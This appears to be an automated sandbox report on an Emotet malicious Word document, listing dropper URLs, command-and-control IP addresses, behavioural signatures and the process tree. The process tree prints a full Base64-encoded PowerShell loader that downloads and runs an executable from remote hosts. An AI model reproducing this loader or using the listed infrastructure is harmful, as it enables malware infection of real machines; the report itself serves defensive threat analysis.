Analysis

  • max time kernel
    26s
  • resource
    win10v191014
  • submitted
    18-12-2019 20:48

General

  • Target

    56211d219a01b6d0c646482a545e1dbdce0e1ea6bf371915d4a28dcf47f693c4

  • Sample

    191218-75dmfvwpmn

  • SHA256

    56211d219a01b6d0c646482a545e1dbdce0e1ea6bf371915d4a28dcf47f693c4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://moisesdavid.com/qoong/vy/

exe.dropper

http://insurancebabu.com/wp-admin/iXElcu9f/

exe.dropper

http://rishi99.com/framework.impossible/dhADGeie6/

exe.dropper

https://www.alertpage.net/confirmation/2nX/

exe.dropper

https://anttarc.org/chartaxd/DMBuiwf5u/

Extracted

Family

emotet

C2

1.215.28.101:8080

184.167.148.162:80

66.25.34.20:80

165.227.156.155:443

167.99.105.223:7080

67.225.179.64:8080

176.31.200.130:8080

190.220.19.82:443

91.242.138.5:443

159.65.25.128:8080

61.197.110.214:80

110.143.84.202:80

95.128.43.213:8080

91.73.197.90:80

201.184.105.242:443

108.179.206.219:8080

181.57.193.14:80

188.152.7.140:80

139.130.241.252:443

197.254.221.174:80

rsa_pubkey.plain

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\56211d219a01b6d0c646482a545e1dbdce0e1ea6bf371915d4a28dcf47f693c4.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4944
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABCAHcAbABiAGoAagBtAGoAegB2AD0AJwBJAHQAbQBwAG0AcgBuAGgAbABsAHUAJwA7ACQAVgBpAGkAaQBnAHAAegBlAGUAcwB2ACAAPQAgACcAOAA3ADMAJwA7ACQATgBqAHMAdABiAGgAbAB1AG8APQAnAFUAcgBlAGEAZgB2AG4AdABzAHgAdwBuAG8AJwA7ACQASwBkAHEAZwBsAHcAYQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABWAGkAaQBpAGcAcAB6AGUAZQBzAHYAKwAnAC4AZQB4AGUAJwA7ACQASAByAHkAcABjAHAAdQBiAD0AJwBRAGYAdQBpAGYAbwBlAGQAJwA7ACQATQBrAHgAdABqAGkAYQByAHIAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBlAEIAQwBsAGkAZQBOAHQAOwAkAFYAZwB4AHAAcgBhAG0AagBzAGIAPQAnAGgAdAB0AHAAOgAvAC8AbQBvAGkAcwBlAHMAZABhAHYAaQBkAC4AYwBvAG0ALwBxAG8AbwBuAGcALwB2AHkALwAqAGgAdAB0AHAAOgAvAC8AaQBuAHMAdQByAGEAbgBjAGUAYgBhAGIAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AaQBYAEUAbABjAHUAOQBmAC8AKgBoAHQAdABwADoALwAvAHIAaQBzAGgAaQA5ADkALgBjAG8AbQAvAGYAcgBhAG0AZQB3AG8AcgBrAC4AaQBtAHAAbwBzAHMAaQBiAGwAZQAvAGQAaABBAEQARwBlAGkAZQA2AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBhAGwAZQByAHQAcABhAGcAZQAuAG4AZQB0AC8AYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4ALwAyAG4AWAAvACoAaAB0AHQAcABzADoALwAvAGEAbgB0AHQAYQByAGMALgBvAHIAZwAvAGMAaABhAHIAdABhAHgAZAAvAEQATQBCAHUAaQB3AGYANQB1AC8AJwAuACIAUwBQAGwAYABpAFQAIgAoACcAKgAnACkAOwAkAEEAaQBnAGYAcQBoAGQAcABrAHIAdwBlAD0AJwBaAHUAdwB6AGgAawBhAHEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAdQB6AGgAZABmAHEAbwBjAGoAdwB4ACAAaQBuACAAJABWAGcAeABwAHIAYQBtAGoAcwBiACkAewB0AHIAeQB7ACQATQBrAHgAdABqAGkAYQByAHIALgAiAEQAYABPAHcATgBgAGwATwBBAEQAZgBpAEwARQAiACgAJABDAHUAegBoAGQAZgBxAG8AYwBqAHcAeAAsACAAJABLAGQAcQBnAGwAdwBhAG8AKQA7ACQATwBwAHMAawBtAGoAcgBqAHkAYQBhAHoAbAA9ACcAVQBsAGUAcQBmAGcAbQBlAHQAagBrAHIAZgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAEsAZABxAGcAbAB3AGEAbwApAC4AIgBsAGAARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAAMwA2ADkANwA3ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgBUACIAKAAkAEsAZABxAGcAbAB3AGEAbwApADsAJABLAGEAaQByAGEAcABzAGMAYgB6AG0APQAnAFoAegBqAGUAYQBtAHoAdwAnADsAYgByAGUAYQBrADsAJABSAGIAbAB5AGIAYwByAGwAPQAnAEoAcQB6AGMAYQB5AGYAcwBjAHAAZgB0ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAagBiAG4AZgBqAGYAdQA9ACcAUQBxAHAAcQByAGEAagBuAHoAawBzAGoAYQAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Users\Admin\873.exe
      "C:\Users\Admin\873.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4416
      • C:\Users\Admin\873.exe
        --30b98952
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious behavior: EmotetMutantsSpam
        PID:3872

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\873.exe

  • C:\Users\Admin\873.exe

  • C:\Users\Admin\873.exe

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438

  • memory/3872-14-0x0000000000790000-0x00000000007A7000-memory.dmp

    Filesize

    92KB

  • memory/3872-15-0x0000000000400000-0x000000000048B000-memory.dmp

    Filesize

    556KB

  • memory/4416-11-0x0000000000740000-0x0000000000757000-memory.dmp

    Filesize

    92KB

  • memory/4944-2-0x000002C33C7DF000-0x000002C33C7E0000-memory.dmp

    Filesize

    4KB